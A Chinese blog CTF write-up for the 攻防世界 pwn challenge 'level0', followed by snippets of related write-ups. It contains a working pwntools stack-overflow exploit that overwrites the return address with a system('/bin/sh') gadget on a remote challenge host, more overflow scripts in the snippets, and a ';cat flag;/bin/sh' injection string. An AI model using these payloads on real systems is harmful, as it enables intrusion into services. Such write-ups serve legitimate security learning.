[攻防世界 pwn]——level0

最新推荐文章于 2021-12-01 08:32:11 发布

Y-peak

最新推荐文章于 2021-12-01 08:32:11 发布

阅读量156

点赞数

分类专栏： # 攻防世界

本文链接：https://blog.csdn.net/Y_peak/article/details/113854441

版权

攻防世界专栏收录该内容

23 篇文章 0 订阅

订阅专栏

[攻防世界 pwn]——level0

题目地址: https://adworld.xctf.org.cn/
题目:

checksec看下保护类型，开启了NX保护

IDA中看下，发现了system("/bin/sh")函数，返回地址修改为该函数就可以

exploit

from pwn import *
#p = process("./pwn")
p = remote("111.200.241.244",40322)
sys_addr = 0x0400596

payload = 'a'*(0x80+8) + p64(sys_addr)
p.sendline(payload)
p.interactive()

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

Y-peak

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
[攻防世界 pwn]——level0

[攻防世界 pwn]——level0
复制链接

扫一扫

专栏目录

攻防世界(pwn篇)---level0

飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘

04-13

1449

攻防世界(pwn篇)—level0 文章目录攻防世界(pwn篇)---level0题目描述基本情况分析运行分析IDA 分析分析出payloadexp 题目描述菜鸡了解了什么是溢出，他相信自己能得到shell 基本情况分析发现只开启了 NX(数据不可执行)保护机制，因此可以做栈溢出漏洞攻击。 1.RELRO: RELRP会有Pratial RELRO 和FULL RELRO，如果开启FULL RELRO，意味着我们无法修改got表 2.Stack: Canary found 表示不能直接用溢

level0 -- 攻防世界新手题

01-19

来自攻防世界的pwn题，是一道简单的新手样本题目，但由于不同linux的libc版本，会使得在ubuntu18.04以及ubuntu20.04中进行漏洞利用产生一些小问题。漏洞利用问题解决链接：...

参与评论您还未登录，请先登录后发表或查看评论

攻防世界PWN-level0

Deeeelete的博客

11-12

2509

题目：level0 老规矩先进PE 查看是64位程序，可以考虑直接IDA莽，也可以进checksec查一下详细参数比较脆，无PIE且没了栈保护（Stack-canary），容易GOT改写（ RELRO）简单运行一遍，发现是hello word 进64位IDA 鼠标悬停在main函数上按f5反编译查看源码：过于简单，没啥可用的信息，双击它return的脆弱函数进一步查看 int __cdecl main(int argc, const char **argv, const

攻防世界PWN题——level0

Greic的博客

12-01

3482

嘿嘿，又是我，我又肥来了。今天带来的是攻防世界第三题的writeup，这次话不多说，我们直接进入主题。无论怎么样，pwn题前两步少不了——查看文件类型和保护类型： 64位linux操作系统，只开了NX保护，再打开IDA看看。将Hello,World显示到屏幕上，再点开函数看看：可以看到，buf是分配了80个字节（从rbp-80-rbp+0),但是read函数读入了0x200字节，因此，这里明显有栈溢出，再点开buff看看：可以看到，我们只需要将buf和s覆盖，也就...

攻防世界pwn题：Recho.doc

07-13

攻防世界pwn题：Recho.doc 知识点总结本文总结了攻防世界pwn题：Recho.doc的知识点，涵盖了二进制文件分析、栈溢出、ROP技术、libc泄露、系统调用等多个方面。 1. 二进制文件分析攻防世界pwn题：Recho.doc是一...

攻防世界pwn题：forgot.doc

07-13

我们可以使用pwn工具来编写exploit，使用from pwn import *来import所需的模块，然后使用context(os='linux', arch='i386', log_level='debug')来设置exploit的环境。我们可以使用io = process("./forgot")来创建一...

arm32 android版pwn-level6二进制文件+gdbserver+lldb+socat

最新发布

04-17

arm32 android版pwn-level6二进制文件+gdbserver+lldb+socat，文章pwn - 零基础ROP之Android ARM 32位篇（新修订）https://blog.csdn.net/tabactivity/article/details/137780714 全部资料文件。...0基础pwn

awd攻防比赛总结——3s_NwGeek.docx

09-30

首先，作者介绍了比赛的规则和环境，包括多个环境、Web 和 Pwn 等。然后，作者分享了自己的战略和技巧，其中包括挖洞、补洞、溯源分析和可持续访问等。在比赛中，作者遇到了很多的问题，例如服务器Environment会...

[攻防世界 pwn]——guess_num

Y_peak的博客

02-19

1115

[攻防世界 pwn]——guess_num15 [攻防世界 pwn]——level0 题目地址: https://adworld.xctf.org.cn/ 题目: checksec一下,开启了NX, canary, PIE 好家伙在IDA中发现我们只要利用gets函数将seed[0]给覆盖掉就可以了, 间距为0x20 用C语言写个小demo #include <stdio.h> #include <stdlib.h> int main() { int n, b;

[攻防世界 pwn]——monkey

Y_peak的博客

02-27

761

[攻防世界 pwn]——monkey 题目地址：https://adworld.xctf.org.cn/ 题目：额，怎么说呢这道题。checksec没什么大不了的但是再IDA中就懵了，好大呀。好多文件。进入mian函数，也没有看很明白。准备运行程序看看到底是干什么的，帮助分析一下输入尝试输入aaaa，发现返回的东西没有被定义。我们在Linux命令中有时命令输入错误也是这样。猜测它可能直接让输入命令。结果输入help可以，但是有的命令可以有的不可以在IDA中查看一下字符串，因为它可以输入的字

[攻防世界 pwn]——warmup

Y_peak的博客

02-20

614

[攻防世界 pwn]——warmup 题目地址: https://adworld.xctf.org.cn/ 题目: 嘶, 碰过的第一个盲打的题, nc连上之后只有一个地址, 这个地址肯定是个有用的地址, 应该就是可以执行 system("/bin/sh")或者 system(“cat flag”)的地址。提供了一个输入, 应该是可以进行栈溢出, 不然就太难了。尝试一下, 不过不知道要填充的长度也不知道是64位还是32位的。我们只有挨个尝试, 写个exp如下: exploit from pwn i

[攻防世界 pwn]——实时数据监测

Y_peak的博客

02-27

608

[攻防世界 pwn]——实时数据监测题目地址：https://adworld.xctf.org.cn/ 题目： checksec就不说了，没什么 ida中只要将key里面的值修改为35795746,就好写个小脚本在pwndbg中看看偏移 from pwn import * p = process('./pwn') gdb.attach(p, 'b *0x080484A7') #p = remote("111.200.241.244",48715) key_addr = 0x0804A048 p

[攻防世界 pwn]——pwn1（内涵peak小知识）

Y_peak的博客

02-28

604

[攻防世界 pwn]——pwn1 题目地址：https://adworld.xctf.org.cn/ 题目： peak小知识这道题目的关键就是泄露canary，通常我们泄露canary有两种方法，遇见printf函数，并且有格式化字符串漏洞的我们可以直接计算偏移利用%{offest}$s，打印出来。当然也可以用 % {offest} $p直接打印出canary 的值。遇见可以利用的栈溢出gets函数，如果有puts函数，或者printf("%s", **)的我们也可以直接泄露出来它。首先我们要清

[攻防世界 pwn]——pwn-200

Y_peak的博客

02-20

584

[攻防世界 pwn]——pwn-200 题目地址: https://adworld.xctf.org.cn/ 题目: peak小知识 ret2libc的题型, 一般给一个输出和一个输入的函数, 输入一般可以栈溢出。但是没有system和"/bin/sh"。首先, 利用已知的函数leek出来一个地址返回地址是可循环调用的地方,一般是用puts,或者write函数leek地址, 偶尔有时是printf函数, 然后找出libc版本计算偏移, 找到system和’/bin/sh’ 地址。重新构造rop链进而获

[攻防世界 pwn]——string（内涵peak小知识）

Y_peak的博客

02-19

452

[攻防世界 pwn]——string 题目地址：https://adworld.xctf.org.cn/ 题目： peak小知识 mmap函数作用，mmap主要是将文件映射到一段内存去同时设置那段内存的属性可读可写或者是可执行详情请看mmap & mprotect 在checksec看到开启了canary和NX，应该和格式化字符串有关。在IDA中看看，发现侧边栏竟然有mmap函数，这个地方应该是关键点，找到函数位置，想要保证该函数执行，必须保证前两个函数执行完毕，并且a1 == a1[

[攻防世界 pwn]——cgpwn2

Y_peak的博客

02-19

354

[攻防世界 pwn]——cgpwn2 题目地址: https://adworld.xctf.org.cn/ 题目: checksec一下看看, 仅仅开启了NX保护在IDA中 look look, 竟然发现了system函数不过参数不对 ’ 思路先将 "/bin/sh" 写入name, 然后利用gets进行栈溢出, system作为返回值, name作为system的参数 exploit from pwn import * p=remote("111.200.241.244",53774) nam

[攻防世界 pwn]——反应釜开关控制

Y_peak的博客

02-23

336

[攻防世界 pwn]——反应釜开关控制题目地址：https://adworld.xctf.org.cn/ 题目：无言以对，直接给你shell函数，返回覆盖到shell函数就OK了 exploit from pwn import * p = remote("111.200.241.244",31931) payload='a' * (0x200 + 8)+p64(0x4005F6) p.sendlineafter('>',payload) p.interactive() ...

[攻防世界 pwn]——welpwn

Y_peak的博客

02-20

298

[攻防世界 pwn]——welpwn 题目地址: https://adworld.xctf.org.cn/ 题目: 我只能说这道题太巧了，实在太巧了。我想出来一个名词叫做栈连接还是先checksec一下

[攻防世界 pwn]——time_formatter（内涵peak小知识）

Y_peak的博客

02-20

295

[攻防世界 pwn]——time_formatter 题目地址: https://adworld.xctf.org.cn/ 题目: 这是一道堆利用的题， UAFF(use After Free)漏洞。 peak小知识堆空间释放后，指针不指向NULL，就仍指向该空间，并且重新申请的堆空间就是最先释放的堆空间 Linux中 echo “;ls;cat flag;/bin/sh;” ls ，cat flag , /bin/sh，会挨个执行老规矩还是先checksec一下在IDA中查看一下反汇

攻防世界 pwn repeater

09-13

攻防世界是一个CTF竞赛平台，其中包含了各种类型的题目，包括pwn和repeater题目。根据引用中提到的信息，攻防世界标记的难度可能不准确。这可能是因为题目的实际难度与标记的难度不一致，导致出现了这种情况。至于...